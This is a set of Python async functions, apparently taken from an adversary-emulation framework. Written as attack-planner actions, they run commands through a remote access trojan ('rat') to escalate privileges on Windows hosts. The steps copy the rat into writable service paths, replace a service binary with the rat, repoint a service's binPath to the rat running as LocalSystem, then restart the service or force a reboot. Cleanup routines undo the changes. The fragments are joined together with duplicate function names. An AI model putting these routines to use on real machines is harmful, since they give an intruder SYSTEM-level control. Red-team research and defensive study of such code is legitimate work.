async def action(operation, rat, service, host, rat_g, service_g, file_g): for path in service.modifiable_paths: try: await operation.execute_shell_command(rat, *cmd.copy(rat.executable, path)) except (AccessDeniedError, FileInUseError): # for some reason we couldn't actually write to "path", move on to the next one # or this specific file we're trying to create already exists, so try a different one continue await file_g({'path': path}) # if we get here, the copy worked, so now we need to restart the service if service.can_restart: try: await operation.execute_shell_command(rat, *sc.stop(service.name)) await asyncio.sleep(2) # make sure the service has time to properly stop await operation.execute_shell_command(rat, *sc.start(service.name)) except ServiceNotStartedError: pass # this is fine in our case if it isn't already running except (AccessDeniedError, ServiceAlreadyRunningError, UnresponsiveServiceError): await service_g({'name': service.name, # update our service with what we modified 'host': service.host, # these first three uniquely id this service 'vulnerability': service.vulnerability, 'revert_command': "echo \"Not Vulnerable\""}) return False else: await operation.execute_shell_command(rat, *cmd.shutdown(reboot=True, delay=0, force=True)) # todo add api to wait for reboot await asyncio.sleep(120) # wait 2 minutes for box to reboot await rat_g() return True # We've gone though all the possible paths and none have worked, mark this as a failure await service_g({'name': service.name, # update our service with what we modified 'host': service.host, # these first three uniquely id this service 'vulnerability': service.vulnerability, 'revert_command': "echo \"Not Vulnerable\""}) return False
async def action(operation, rat, service, host, rat_g, service_g, file_g): try: # if the service is running, stop it first so we can modify the binary state = await operation.execute_shell_command( rat, *sc.query(service.name)) if state['state'] == "RUNNING": try: await operation.execute_shell_command( rat, *sc.stop(service.name)) await asyncio.sleep( 2) # make sure the service has time to properly stop except ServiceNotStartedError: pass # this is fine in our case if it isn't already running # We need to move the real binary to a different name ( vuln.exe to vuln.exe.bak ) await operation.execute_shell_command( rat, *cmd.move(service.modifiable_paths[0], service.modifiable_paths[0] + ".bak", suppress_overwrite=True)) # save off that we moved the file to a new name await file_g({ 'path': service.modifiable_paths[0] + ".bak", 'src_path': service.modifiable_paths[0], 'use_case': "modified" }) # Then we need to place a copy of our rat as the vulnerable name await operation.execute_shell_command( rat, *cmd.copy(rat.executable, service.modifiable_paths[0])) # save off that we put a new file (our rat) on disk await file_g({ 'path': service.modifiable_paths[0], 'src_path': rat.executable, 'use_case': 'rat' }) # Lastly, we need a way to restart the service to get our binary to be executed if service.can_restart: await operation.execute_shell_command(rat, *sc.start(service.name)) else: await operation.execute_shell_command( rat, *cmd.shutdown(reboot=True, delay=0, force=True)) await rat_g() except (AccessDeniedError, NoFileError, FileInUseError ): # all possible bad errors should be caught here # something went wrong and we can't actually swap out the binary due to acls or can't stop the service await service_g({ 'name': service.name, 'host': service.host, 'vulnerability': service.vulnerability, 'revert_command': "echo \"Not Vulnerable\"" }) return False return True
async def cleanup(cleaner, host, service, file_g): # stop the service so we can delete the files try: await cleaner.run_on_agent(host, *sc.stop(service['name'])) except ServiceNotStartedError: pass except CantControlServiceError: log.debug("Can't stop {} on {}, so can't delete {}".format(service.name, service.host, file_g[0].path)) for file in file_g: if file['use_case'] == 'rat': await cleaner.delete(file)
async def cleanup(cleaner, host, service): # stop the service before we can modify it try: await cleaner.run_on_agent(host, *sc.stop(service['name'])) except ServiceNotStartedError: pass except CantControlServiceError: log.debug("Can't stop {} on {}".format(service.name, service.host)) # now fix the service back to what it was before await cleaner.run_on_agent( host, command.CommandLine(service['revert_command']), parsers.sc.config) return True
async def action(operation, rat, service, host, rat_g, service_g): try: # if the service is running, stop it first so we can modify the binPath state = await operation.execute_shell_command( rat, *sc.query(service.name)) if state['state'] == "RUNNING": try: await operation.execute_shell_command( rat, *sc.stop(service.name)) await asyncio.sleep( 2) # make sure the service has time to properly stop except ServiceNotStartedError: pass # this is fine in our case if it isn't already running # actually modify the binPath and the start_name if needed await operation.execute_shell_command( rat, *sc.config(name=service.name, bin_path=rat.executable, start_name="LocalSystem")) revert_command = "sc config " + service.name + " binpath= \"" + service.bin_path + "\" obj= " + service.service_start_name if service.can_restart is True: await operation.execute_shell_command(rat, *sc.start(service.name)) else: await operation.execute_shell_command( rat, *cmd.shutdown(reboot=True, delay=0, force=True)) await rat_g() await service_g({ 'name': service.name, # update our service with what we modified 'host': service.host, 'vulnerability': service.vulnerability, 'revert_command': revert_command }) except AccessDeniedError: # something went wrong, not actually vulnerable for some reason await service_g({ 'name': service.name, 'host': service.host, 'vulnerability': service.vulnerability, 'revert_command': 'echo \"Not Vulnerable\"' }) return False return True
async def cleanup(cleaner, host, service, file_g): # stop the service so we can remove the files try: await cleaner.run_on_agent(host, *sc.stop(service['name'])) except ServiceNotStartedError: pass except CantControlServiceError: log.debug("Can't stop {} on {}, so can't delete {}".format( service.name, service.host, file_g[0].path)) for file in file_g: if file['use_case'] == 'rat': await cleaner.delete(file) # delete the rat file for file in file_g: if file['use_case'] == 'modified': # fix the original binary that we modified by creating the command we want to execute # await cleaner.run_on_agent(host, *cmd.move(file['path'], file['src_path'], True)) # TODO: Fix the way the planner handles src_path and src_host fields in files!! # The following is just a temporary hack to fix await cleaner.run_on_agent( host, *cmd.move(file['path'], file['path'][:-4], True))
async def stop_service(op: Operation, host: ObservedHost, service_name: str, job_run_until_success) -> bool: """ Stops a service. Args: op: The operation currently being run host: The host to delete the task on. service_name: The name of the service to be stopped. job_run_until_success: A function that will be passed the arguments to run the job Returns: True if successful, otherwise False. """ try: await job_run_until_success(host, *sc.stop(service_name)) except (ServiceNotStartedError, NoServiceError): msg = "Unable to Stop Service - Service Not Currently Running" await console_log(op, host, msg) pass # this is fine in our case if it isn't already running return True